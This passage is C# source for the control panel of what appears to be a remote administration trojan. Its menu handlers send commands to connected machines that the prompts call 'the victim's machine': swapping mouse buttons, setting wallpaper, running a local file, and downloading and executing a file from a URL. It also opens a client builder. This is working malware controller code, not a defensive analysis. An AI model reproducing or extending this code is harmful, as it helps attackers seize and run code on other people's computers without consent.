|
|||
|
|
|
|||
|
|
private void mouseSwapToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoMouseSwap { Swap = true });
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void restoreMouseToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoMouseSwap { Swap = false });
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void setWallpaperToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
Client[] clients = GetSelectedClients();
|
|||
|
|
if (clients.Length == 0) return;
|
|||
|
|
|
|||
|
|
using (var dlg = new OpenFileDialog())
|
|||
|
|
{
|
|||
|
|
dlg.Title = "Choose wallpaper image";
|
|||
|
|
dlg.Filter = "Images|*.jpg;*.jpeg;*.png;*.bmp;*.gif|All files|*.*";
|
|||
|
|
if (dlg.ShowDialog() != DialogResult.OK) return;
|
|||
|
|
|
|||
|
|
byte[] data;
|
|||
|
|
try { data = File.ReadAllBytes(dlg.FileName); }
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
MessageBox.Show("Could not read file:\n" + ex.Message, "Error",
|
|||
|
|
MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
var msg = new DoSetWallpaper { ImageData = data };
|
|||
|
|
foreach (Client c in clients)
|
|||
|
|
c.Send(msg);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
#endregion
|
|||
|
|
|
|||
|
|
private void localFileToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
if (lstClients.SelectedItems.Count == 0) return;
|
|||
|
|
string path = Microsoft.VisualBasic.Interaction.InputBox(
|
|||
|
|
"Enter the file path on the victim's machine to execute:",
|
|||
|
|
"Remote Execute - Local File", "C:\\Windows\\System32\\notepad.exe");
|
|||
|
|
if (string.IsNullOrWhiteSpace(path)) return;
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoExecute { FilePath = path, IsUrl = false });
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void webFileToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
if (lstClients.SelectedItems.Count == 0) return;
|
|||
|
|
string url = Microsoft.VisualBasic.Interaction.InputBox(
|
|||
|
|
"Enter the URL of the file to download and execute on the victim's machine:",
|
|||
|
|
"Remote Execute - Web File", "https://");
|
|||
|
|
if (string.IsNullOrWhiteSpace(url) || url == "https://") return;
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoExecute { FilePath = url, IsUrl = true });
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void selectAllToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
lstClients.SelectAllItems();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
#endregion
|
|||
|
|
|
|||
|
|
#region "MenuStrip"
|
|||
|
|
|
|||
|
|
private void closeToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
Application.Exit();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void settingsToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
using (var frm = new FrmSettings(ListenServer))
|
|||
|
|
{
|
|||
|
|
frm.ShowDialog();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void builderToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
#if DEBUG
|
|||
|
|
MessageBox.Show("Client Builder is not available in DEBUG configuration.\nPlease build the project using RELEASE configuration.", "Not available", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
|||
|
|
#else
|
|||
|
|
using (var frm = new FrmBuilder())
|
|||
|
|
{
|
|||
|
|
frm.ShowDialog();
|
|||
|
|
}
|
|||
|
|
#endif
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
using (var frm = new FrmAbout())
|
|||
|
|
{
|
|||
|
|
frm.ShowDialog();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
#endregion
|
|||
|
|
|
|||
|
|
#region "NotifyIcon"
|
|||
|
|
|
|||
|
|
private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e)
|
|||
|
|
{
|
|||
|
|
this.WindowState = (this.WindowState == FormWindowState.Normal)
|
|||
|
|
? FormWindowState.Minimized
|
|||
|
|
: FormWindowState.Normal;
|
|||
|
|
this.ShowInTaskbar = (this.WindowState == FormWindowState.Normal);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
#endregion
|
|||
|
|
}
|
|||
|
|
}
|